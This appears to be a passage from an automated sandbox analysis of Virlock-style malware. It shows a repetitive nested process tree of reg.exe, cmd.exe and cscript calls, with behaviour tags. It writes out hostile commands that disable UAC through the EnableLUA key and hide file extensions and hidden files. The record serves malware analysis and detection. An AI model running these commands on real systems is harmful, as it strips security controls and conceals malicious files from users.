                                                                                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                    105⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6620
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                    104⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5332
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                    104⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1976
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DCYQIIgc.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                    104⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1804
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                      105⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6116
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                102⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                PID:6416
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                102⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                PID:6360
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                102⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                PID:6368
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pqAooUEg.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                102⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1912
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                    103⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1612
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                              100⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                              PID:6440
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                              100⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                              PID:6184
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                              100⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                              PID:6628
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                101⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4788
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\wCkAMQIw.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                100⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                PID:4548
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                  101⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4336
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                            98⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                            PID:300
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                              99⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:3488
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                              98⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:6216
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                98⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                PID:4612
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\OGsMUUMA.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                98⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                PID:800
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                  99⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6212
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                            96⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                            PID:1172
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                            96⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                            PID:6080
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                            96⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                            PID:856
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\YIsEQogU.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                            96⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                            PID:3908
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                              97⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                              PID:3632
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                        94⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                        PID:7060
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                        94⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:2716
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                            95⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:3280
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                            94⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                            PID:1048
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\QcQcwEwI.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                            94⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:4964
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                95⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                PID:7092
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                          92⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                          PID:6944
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                          92⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                          PID:6936
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                          92⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                          PID:6920
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\vsQAIQgI.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                          92⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                          PID:7032
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                            93⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:5500
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                              93⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                              PID:7128
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                        90⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                        PID:4692
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                        90⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                        PID:1648
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                        90⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                        PID:5088
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tcsoYEEU.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                        90⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                        PID:6748
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                          91⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                          PID:7016
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                    88⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                    PID:6620
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                    88⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                    PID:5456
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                    88⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                    PID:4080
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                      89⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:1716
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\nwMYAMYE.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                      88⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                      PID:3648
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                        89⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                        PID:3832
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                  86⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                  PID:5532
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                  86⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                  PID:2948
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                  86⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                  PID:2316
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gqskYIko.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                  86⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                  PID:6480
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                    cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                    87⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                    PID:4172
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                              84⤵
                                                                                                                                                                                                                                                                                                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                              PID:6448
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                              84⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:6528
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                84⤵
                                                                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                PID:6524
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\GkoYMAkU.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                84⤵
                                                                                                                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                PID:6600
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                  85⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:3416
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                    cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                    85⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                    PID:6292
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                              82⤵
                                                                                                                                                                                                                                                                                                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                              PID:3636
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                83⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:264
